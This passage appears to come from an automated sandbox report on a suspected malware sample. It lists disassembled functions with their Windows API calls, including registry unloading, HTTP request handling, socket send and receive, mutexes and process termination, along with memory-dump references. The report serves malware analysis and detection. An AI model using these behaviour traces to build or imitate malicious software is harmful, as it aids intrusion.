    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041609A, Relevance: 6.1, APIs: 4, Instructions: 147
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004161A5
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004162D4
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00416340
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041644A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004116DC, Relevance: 6.1, APIs: 4, Instructions: 146
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040891D, Relevance: 6.1, APIs: 4, Instructions: 145
    APIs
    • LocalFree.KERNEL32 ref: 00408959
      • Part of subcall function 0042BBC0: GetCurrentThreadId.KERNEL32 ref: 0042BBCA
      • Part of subcall function 0042BBC0: GetThreadDesktop.USER32 ref: 0042BBD1
      • Part of subcall function 0042BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 0042BBEB
      • Part of subcall function 00414AC6: GetCurrentThread.KERNEL32 ref: 00414AD3
      • Part of subcall function 00414AC6: SetThreadPriority.KERNEL32 ref: 00414ADA
      • Part of subcall function 00414AC6: SetEvent.KERNEL32 ref: 00414AEC
      • Part of subcall function 00414AC6: SetEvent.KERNEL32 ref: 00414B39
      • Part of subcall function 00414AC6: GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00414B46
    • Sleep.KERNEL32(0000000A), ref: 00408AAD
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BA4D
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA5D
      • Part of subcall function 0042BA3D: TlsFree.KERNEL32 ref: 0042BA68
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BA76
      • Part of subcall function 0042BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 0042BA80
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32 ref: 0042BA8D
      • Part of subcall function 0042BA3D: SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
      • Part of subcall function 0042BA3D: DeleteObject.GDI32(00000000), ref: 0042BAB8
      • Part of subcall function 0042BA3D: DeleteDC.GDI32(00000000), ref: 0042BAC5
      • Part of subcall function 0042BA3D: CloseHandle.KERNEL32(00000000), ref: 0042BAD6
      • Part of subcall function 0042BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
      • Part of subcall function 0042BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
    • Sleep.KERNEL32(000000FF), ref: 004089A1
    • ExitProcess.KERNEL32(00000000,00000000), ref: 004089B3
    • NtClose.NTDLL(?,?,00000000), ref: 00408A9E
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041302D, Relevance: 6.1, APIs: 4, Instructions: 144
    APIs
    • lstrcpyW.KERNEL32 ref: 0041302D
    • LocalFree.KERNEL32 ref: 00413033
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004130A6
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0041312A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00427D9B, Relevance: 6.1, APIs: 4, Instructions: 143
    APIs
      • Part of subcall function 00427C82: HttpQueryInfoA.WININET(?,0000002D,?,?,00000000), ref: 00427CE1
      • Part of subcall function 00421A14: EnterCriticalSection.KERNEL32(00433FEC,?,00000000,00000000), ref: 00421A2F
      • Part of subcall function 00421A14: LeaveCriticalSection.KERNEL32(00433FEC,?,00000000,00000000), ref: 00421AB2
      • Part of subcall function 00421A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00421C6F
      • Part of subcall function 00421A14: InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00421DEB
    • SetLastError.KERNEL32(00002F78,?), ref: 00427DFA
      • Part of subcall function 004270E4: EnterCriticalSection.KERNEL32(004340F8,?,?,0042789F), ref: 004270EE
      • Part of subcall function 004270E4: LeaveCriticalSection.KERNEL32(004340F8,?,0042789F), ref: 0042710F
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000,?), ref: 00427E8B
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00427EA6
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,80000000), ref: 00427EC1
      • Part of subcall function 0041A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 0041A146
      • Part of subcall function 0041A124: InternetQueryOptionA.WININET(?,00000015,?,?), ref: 0041A168
      • Part of subcall function 0041A124: InternetCloseHandle.WININET(?), ref: 0041A170
      • Part of subcall function 004226E6: CreateThread.KERNEL32(00000000,00000000,Function_000224CC,?), ref: 0042272B
      • Part of subcall function 004226E6: CloseHandle.KERNEL32(?), ref: 00422744
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0042711A: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00427142
      • Part of subcall function 0042711A: InterlockedIncrement.KERNEL32(00434120,?,?), ref: 0042716A
      • Part of subcall function 0042711A: EnterCriticalSection.KERNEL32(004340F8,?,?,?,00000001,00427E1C,?), ref: 00427176
      • Part of subcall function 0042711A: LeaveCriticalSection.KERNEL32(004340F8,?,?,?,00000001,00427E1C,?), ref: 0042718C
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040EA59, Relevance: 6.1, APIs: 4, Instructions: 140
    APIs
    • MapViewOfFile.KERNEL32 ref: 0040EA59
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00407FE2, Relevance: 6.1, APIs: 4, Instructions: 138
    APIs
    • GetSubMenu.USER32 ref: 00407FE2
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00413070, Relevance: 6.1, APIs: 4, Instructions: 134
    APIs
    • TranslateAcceleratorW.USER32 ref: 00413070
    • GetSaveFileNameW.COMDLG32 ref: 00413076
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004130A6
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0041312A
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00408C09, Relevance: 6.1, APIs: 4, Instructions: 130
    APIs
    • SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00408C30
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • GetFileAttributesW.KERNEL32(?), ref: 00408C84
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00408CE7
    • GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00408D15
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00411ACB, Relevance: 6.1, APIs: 4, Instructions: 117
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004130D1, Relevance: 6.1, APIs: 4, Instructions: 116
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040E0DD, Relevance: 6.1, APIs: 4, Instructions: 113
    APIs
    • GetOpenFileNameW.COMDLG32 ref: 0040E0DD
    • GetTimeFormatW.KERNEL32 ref: 0040E0E3
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E260
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 0040E43F
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00410885, Relevance: 6.1, APIs: 4, Instructions: 113
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041F911, Relevance: 6.1, APIs: 4, Instructions: 86
    APIs
    • CoCreateInstance.OLE32(00401620,00000000,00004401,00401610,?), ref: 0041F937
    • #8.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 0041F983
    • #2.OLEAUT32(?,?,000000FF,?,00000000,?,00000000,?,00000000), ref: 0041F993
    • #9.OLEAUT32(?,?,00000000,?,?,?,?,?,?,?,?,00423092,?,?), ref: 0041F9CC
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00410C6C, Relevance: 6.1, APIs: 4, Instructions: 85
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041E6D5, Relevance: 6.1, APIs: 4, Instructions: 84
    APIs
      • Part of subcall function 0041D8FE: SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001), ref: 0041D913
      • Part of subcall function 0041D8DE: SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041D8F0
    • WriteFile.KERNEL32(?,?,00000005,?,00000000), ref: 0041E754
    • WriteFile.KERNEL32(?,00000005,00A00000,00000005,00000000), ref: 0041E76D
    • SetEndOfFile.KERNEL32 ref: 0041E791
    • FlushFileBuffers.KERNEL32(?), ref: 0041E799
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00409454, Relevance: 6.1, APIs: 4, Instructions: 75
    APIs
    • IsClipboardFormatAvailable.USER32 ref: 00409454
    • MessageBoxW.USER32 ref: 0040945A
    • GetTimeFormatW.KERNEL32 ref: 00409460
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00409632
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040EE25, Relevance: 6.1, APIs: 4, Instructions: 75
    APIs
    • GetCommandLineW.KERNEL32 ref: 0040EE25
    • FoldStringW.KERNEL32 ref: 0040EE2B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040EE46
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040EF39
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040C6AA, Relevance: 6.1, APIs: 4, Instructions: 73
    APIs
    • SetWindowTextW.USER32 ref: 0040C6AA
    • GetCurrentProcess.KERNEL32 ref: 0040C6B0
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040C77E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040C840
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004149F6, Relevance: 6.1, APIs: 4, Instructions: 71
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00414A0F
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32(00000000), ref: 00419EC2
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32 ref: 00419ECB
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    • ResetEvent.KERNEL32(?), ref: 00414A65
    • WaitForSingleObject.KERNEL32(?,000003E8), ref: 00414AA0
    • TerminateProcess.KERNEL32(?,00000000), ref: 00414AB1
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041B708, Relevance: 6.1, APIs: 4, Instructions: 70
    APIs
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 0041B733
    • recv.WS2_32(?,?,00000400,00000000), ref: 0041B77B
    • send.WS2_32(?,?,?,00000000), ref: 0041B795
    • select.WS2_32(00000000,?,00000000,00000000,0042B414), ref: 0041B7D5
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040B31A, Relevance: 6.1, APIs: 4, Instructions: 64
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040EC11, Relevance: 6.1, APIs: 4, Instructions: 64
    APIs
    • LocalFree.KERNEL32 ref: 0040EC11
    • GetLastError.KERNEL32 ref: 0040EC17
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004201A6, Relevance: 6.1, APIs: 4, Instructions: 63
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
    • GetTickCount.KERNEL32 ref: 004201F8
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GetTickCount.KERNEL32 ref: 00420220
      • Part of subcall function 0041FE76: WaitForSingleObject.KERNEL32(00002710), ref: 0041FFFD
      • Part of subcall function 0041FE76: CharLowerA.USER32(00000000), ref: 00420142
    • GetTickCount.KERNEL32 ref: 00420239
    • WaitForSingleObject.KERNEL32 ref: 0042024B
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041463A, Relevance: 6.1, APIs: 4, Instructions: 58
    APIs
    • FindTextW.COMDLG32 ref: 0041463A
    • EndDialog.USER32 ref: 00414640
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00414711
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 004147A3
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042711A, Relevance: 6.1, APIs: 4, Instructions: 56
    APIs
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00427142
    • InterlockedIncrement.KERNEL32(00434120,?,?), ref: 0042716A
    • EnterCriticalSection.KERNEL32(004340F8,?,?,?,00000001,00427E1C,?), ref: 00427176
    • LeaveCriticalSection.KERNEL32(004340F8,?,?,?,00000001,00427E1C,?), ref: 0042718C
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040CE36, Relevance: 6.1, APIs: 4, Instructions: 54
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040D63C, Relevance: 6.1, APIs: 4, Instructions: 53
    APIs
    • GetTimeFormatW.KERNEL32 ref: 0040D63C
    • CloseHandle.KERNEL32 ref: 0040D642
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040D66F
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040D6A5
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004148D8, Relevance: 6.1, APIs: 4, Instructions: 53
    APIs
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • TlsGetValue.KERNEL32 ref: 004148F4
    • SaveDC.GDI32(?), ref: 00414925
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00414937
    • RestoreDC.GDI32(?), ref: 00414949
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040EEAE, Relevance: 6.1, APIs: 4, Instructions: 52
    APIs
    • DragAcceptFiles.SHELL32 ref: 0040EEAE
    • IsClipboardFormatAvailable.USER32 ref: 0040EEB4
    • IsIconic.USER32 ref: 0040EEBA
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040EF39
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
